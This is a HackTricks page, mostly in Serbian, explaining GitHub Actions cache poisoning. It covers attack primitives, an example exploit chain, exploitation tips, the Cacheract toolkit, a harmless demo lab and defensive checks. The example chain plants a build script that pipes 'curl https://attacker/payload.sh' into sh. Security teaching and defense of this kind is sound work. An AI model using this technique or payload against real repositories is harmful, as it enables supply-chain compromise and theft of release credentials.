Files
hacktricks-cloud/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md

9.1 KiB
Raw Blame History

GH Actions - Cache Poisoning

{{#include ../../../banners/hacktricks-training.md}}

Pregled

GitHub Actions cache je globalan za repozitorijum. Bilo koji workflow koji zna cache key (ili restore-keys) može popuniti tu stavku, čak i ako job ima samo permissions: contents: read. GitHub ne razdvaja keševe po workflow-u, tipu događaja, ili nivou poverenja, pa napadač koji kompromituje job sa niskim privilegijama može poison-ovati keš koji će kasnije vratiti privilegovani release job. Upravo tako je Ultralytics kompromis pivotirao iz pull_request_target workflow-a u PyPI publishing pipeline.

Primitivi napada

  • actions/cache exposes both restore and save operations (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Poziv za save je dozvoljen za bilo koji job osim potpuno nepouzdanim pull_request workflows pokrenutim iz forkova.
  • Cache unosi se identifikuju isključivo putem key. Široki restore-keys olakšavaju injektovanje payloads jer napadaču je dovoljno da se sudari sa prefiksom.
  • Cache keys i verzije su vrednosti koje specificira klijent; cache servis ne validira da li key/version odgovara pouzdanom workflow-u ili cache putanji.
  • Cache server URL + runtime token su relativno dugovečni u odnosu na workflow (istorijski ~6 hours, now ~90 minutes) i ne mogu se opozvati od strane korisnika. Od kraja 2024. GitHub blokira cache writes nakon što originalni job završi, pa napadači moraju write dok job još radi ili pre-poison future keys.
  • Kešovani fajl-sistem se vraća bez izmena. Ako keš sadrži scripts ili binaries koji se kasnije izvršavaju, napadač kontroliše taj path izvršavanja.
  • Sam cache fajl se ne validira pri restore; to je samo zstd-compressed archive, pa poisoned entry može prepisati scripts, package.json, ili druge fajlove unutar restore path-a.

Primer lanca eksploatacije

Author workflow (pull_request_target) poisoned the cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Prilegovan workflow je vraćen i izvršio the poisoned cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Drugi job sada pokreće attacker-controlled code dok poseduje release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).

Poisoning mechanics

GitHub Actions cache entries su obično zstd-compressed tar archives. Možete jedan pripremiti lokalno i upload-ovati ga u cache:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.

Praktični saveti za eksploataciju

  • Ciljajte workflows pokrenute preko pull_request_target, issue_comment, ili bot komandi koji i dalje čuvaju cache; GitHub im dozvoljava da prepišu repo-wide ključeve čak i kada runner ima samo read access na repo.
  • Tražite determinističke cache ključeve koji se ponovo koriste preko trust granica (na primer, pip-${{ hashFiles('poetry.lock') }}) ili permisivne restore-keys, pa sačuvajte svoj maliciozni tarball pre nego što pokrenuti privilegovani workflow.
  • Pratite logove za Cache saved unose ili dodajte sopstveni cache-save korak tako da sledeći release job obnovi payload i izvrši trojanizovane skripte ili binarne fajlove.

Novije tehnike viđene u Angular (2026) lancu

  • Cache v2 "prefix hit" behavior: In Cache v2, exact misses can still restore another entry sharing the same key prefix (effectively "all keys are restore keys"). Napadači mogu predseed-ovati ključeve bliske koliziji tako da budući miss pada na poison-ovani objekat.
  • Forced eviction in one run: Since November 20, 2025, GitHub evicts entries immediately when repository cache usage exceeds the limit (10 GB by default). Napadač može prvo upload-ovati junk cache podatke, izbaciti legitimne unose tokom istog job-a, a zatim upisati maliciozni cache key bez čekanja dnevnog ciklusa čišćenja.
  • setup-node cache pivots via reusable actions: Reusable/internal actions koje enkapsuliraju actions/setup-node sa cache-dependency-path mogu tihi povezati low-trust i high-trust workflows. Ako oba puta hešuju na deljene ključeve, trovanje dependency cache-a može se izvršiti u privilegovanoj automatizaciji (na primer Renovate/bot jobs).
  • Chaining cache poisoning into bot-driven supply chain abuse: U Angular slučaju, cache poisoning je otkrio bot PAT, koji je potom mogao da se iskoristi za force-push bot-owned PR headova nakon odobrenja. Ako pravila za resetovanje odobrenja (approval-reset rules) izuzimaju bot aktere, ovo omogućava zamenu pregledanih commit-ova za maliciozne (na primer imposter action SHAs) pre merge-a.

##å Cacheract

Cacheract is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing. The practical value is that it automates the fragile parts that are easy to get wrong manually:

  • Detect and use runtime cache context from the runner (ACTIONS_RUNTIME_TOKEN and cache service URL).
  • Enumerate and target candidate cache keys/versions used by downstream workflows.
  • Force eviction by overfilling cache quota (when applicable) and then writing attacker-controlled entries in the same run.
  • Seed poisoned cache content so later workflows restore and execute modified tooling.

This is especially useful in Cache v2 environments where timing and key/version behavior matter more than in early cache implementations.

Demo

Koristite ovo samo u repozitorijumima koje posedujete ili gde vam je eksplicitno dozvoljeno testiranje.

1. Ranljiv workflow (untrusted trigger can save cache)

Ovaj workflow simulira pull_request_target anti-pattern: upisuje cache sadržaj iz konteksta koji kontroliše napadač i čuva ga pod determinističkim ključem.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Privilegovani tok rada (vraća i izvršava keširani binarni/skript)

Ovaj tok rada vraća isti ključ i izvršava toolchain/bin/build dok drži dummy secret. Ako je zatrovan, put izvršavanja je pod kontrolom napadača.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Pokrenite laboratoriju

  • Dodajte stabilan toolchain.lock fajl tako da oba workflows koriste isti cache key.
  • Pokrenite untrusted-cache-writer iz test PR-a.
  • Pokrenite privileged-consumer putem workflow_dispatch.
  • Potvrdite da se POISONED_BUILD_PATH pojavljuje u logovima i da je kreiran /tmp/cache-poisoning-demo.txt.

4. Šta ovo tehnički demonstrira

  • Prekid poverenja keša između workflow-ova: Writer i consumer workflows nemaju isti nivo poverenja, ali dele isti cache namespace.
  • Rizik izvršavanja pri restore-u: Ne vrši se verifikacija integriteta pre izvršavanja vraćenog skripta/binarne datoteke.
  • Zloupotreba determinističkih ključeva: Ako job sa visokim nivoom poverenja koristi predvidljive ključeve, job sa niskim nivoom poverenja može unapred postaviti zlonamerni sadržaj.

5. Kontrolna lista za proveru odbrane

  • Razdvojite ključeve po granici poverenja (pr-, ci-, release-) i izbegavajte deljene prefikse.
  • Onemogućite upis u cache u nepouzdanim workflow-ima.
  • Heshirajte/verifikujte vraćeni izvršni sadržaj pre pokretanja.
  • Izbegavajte izvršavanje alata direktno iz putanja keša.

References

{{#include ../../../banners/hacktricks-training.md}}